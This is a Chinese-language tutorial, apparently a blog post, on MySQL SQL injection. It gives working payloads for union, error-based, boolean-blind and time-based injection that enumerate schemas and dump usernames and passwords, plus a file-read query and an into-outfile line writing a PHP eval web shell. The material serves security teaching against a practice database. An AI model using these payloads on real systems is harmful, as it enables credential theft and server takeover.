sql注入-mysql注入

本文详细探讨了SQL注入的概念,介绍了如何通过查询security数据库、获取表和字段信息来进行注入。讲解了SQL注入的不同类型,包括联合查询注入、报错注入、布尔注入和延时注入,是理解SQL注入原理和技术防范的重要参考资料。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sql常用的注入语句

查询数据库----假设为 security

select database();

在这里插入图片描述

查询数据库中的表

 select group_concat(table_name) from information_schema.tables where table_schema=database();

在这里插入图片描述

查询表中的字段名(security.users表中的列)

select group_concat(column_name) from information_schema.columns where table_name='users';

在这里插入图片描述

查询字段的值(0x3a是:)

select group_concat(username,0x3a,password) from users;

在这里插入图片描述

学习SQL注入简单类型:

如何判断注入点:
	and 1=1 页面正常
	and 1=2 页面错误
	可能存在注入点
选用经验最足的方法去测试:
	或 且 非 三种逻辑判断符
	判断输入的字符是否对页面造成影响,带入数据库进行了查询。

信息收集:

数据库版本:version()
数据库名字:user()
数据库用户:database()
操作系统:@@version_compile_os
		
在mysql的5.0以上版本中,自带一个information_schema数据库名,存储数据库所有的信息,具有表schemata(数据库名)tables(表名)columns(列名字段名)

SCHEMA_NAME字段用来存储数据库名,TABLE_SCHEMA字段用来存储表名,
table_schema和table_name分别来存储数据库名和表名
information_schema.tables 记录所有的表
information_schema.columns 记录所有的列

常见读取文件内容

 select load_file('C:\\var\\a.txt');

常见写入文件

 select '<?php $eval($_POST['test']);?>' into outfile 'C:\\var\\b.php';

魔术引号及常见保护

php.ini中存在magic_quotes_gpc选项,称为魔术引号,此选项打开,使用GET,POST,cookie所接收的'
单引号,"双引号,\反斜线和NULL字符全部被加上一个反斜线转义。此时,注入类型是字符型注入已经无法
构成威胁。编码或者宽字节进行绕过

注入的一般流程:

初始查询语句:  select * from users where id='_ ' ;

    [1]判断参数可控

          select * from users where id = '1'';

          select * from users where id = '1' and 1=1 --+';

          select * from users where id = 'l' and 1=2 --+';

    [2]判断字段长度: 1' order by 10 --+

          select * from users where id = '1' order by 10 --+' ;

    [3]判断在页面回显的字段位置: -1' union select 1,2,3 --十

          select * from users where id='-1' union select 1,2,3 --+'; #用“-1”是防止那个正确的数据回显 | | 让“union”后的数据回显

     

    [4]查询当前数据库: -1' union select 1,2, database() --+

          select * from users where id='-1' union select 1,2,database() --+';

    [5] 查询所有数据库: -1' union select 1,2, (正常的查询语句) --+

          select * from users where id = '-1' union select 1,2, (select group _concat(schema _name) from information schema. schemata) --+';

          select * from users where id = '-1' union select 1,2, (select  schema _name  from information schema. schemata limit 0,1) --+';

1.union类型的sql注入(联合查询注入)

条件:
页面必须有显示位
实际操作
测出页面异常
‘ “ ) ‘) “) ‘)) “)) `
判断列数:
1’ order by 3-- -
不存在返回错误
判断显示位:
-1’ union select 1,2,3-- -
查看数据库:
-1’ union select user(),database(),version()-- -
查看数据库有哪些表 (爆数据表)table_schema='数据库名’
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3-- -
查看对应表有哪些列 (爆字段)table_name='指定表名’
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3-- -
查看账号密码信息(数据拖库) username,password指定列,security.users指定库表
-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password))from security.users),3-- 

2.基于错误显示的sql注入(报错注入)

条件:
必须有错误回显
利用的函数
1.updatexml(arg1,arg2,arg3)
改变文档中符合条件的节点的值,arg1位xml文档对象的名称,arg2为xpath格式的字符串,arg3,String格式,替换查找到的符合条件的数据。
语句:select updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error: 'root@localhost’
2.extractvalue(arg1,arg2)
从目标XML中返回包含所查询值的字符串,arg1为是String格式,为XML文档对象的名称。arg2为Xpath格式的字符串。
语句:select extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error: 'root@localhost’
3.floor(arg1)
函数只返回arg1整数部分,小数部分舍弃。
语句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3
返回结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’
4.注意
Extractvalue() updatexml()有32位长度限制
实际操作
查看数据库名字:
updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -
查看数据库有哪些表
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
查看表里面有哪些列名
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=“emails” limit 0,1),0x7e),1)-- -
查看表里面的数据
and updatexml(1,concat(0x7e,(select substring(group_concat(id) ,1,20)from emails),0x7e),1)-- -

3.基于布尔类型的sql注入(布尔注入)

条件:
没有返回值和报错信息,根据当页面正常和不正常执行sql语句效果不同判断sql语句是否成功
实际操作
先得到数据库名的长度
and (length(database()))>5
and (length(database()))=4
改变n的值依次获取数据库名的字符
and (ascii(substr(database(),n,1)))>100
获取数据库表名(先获取表名数量,再获取表名长度)
and (select count(*) from information_schema.tables where table_schema=database())>5
获取表名数量
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
获取表名长度
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100
依次通过ascii码获取表名
获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>100
获取数据
and (ascii(substr(( select password from users limit 0,1),1,1)))=68

4.基于时间的sql注入(延时注入)

条件:
能执行sql语句
利用的函数
1.sleep,benchmark()
通常与条件类函数配合使用
2.sleep(arg1)
arg1中断的时间单位为秒。
语句:select if(1=1, sleep(3), ‘goodbye’)
返回结果:页面延迟3秒显示
3.benchmark(arg1,arg2)
arg1为操作的函数,arg2为操作次数
语句:
select if(1=1, benchmark(5000000,md5(‘abc’)), ‘goodbye’)
返回结果:
页面延迟2秒显示
实际操作
先得到数据库名的长度
and if((length(database()))>5),sleep(5),0)
注:if(1,2,3)1为真执行2,否则执行3
语句里if的第一个参数同布尔型语句,参考布尔型替换即可
and if((length(database())>5),sleep(5),0)
```1













评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值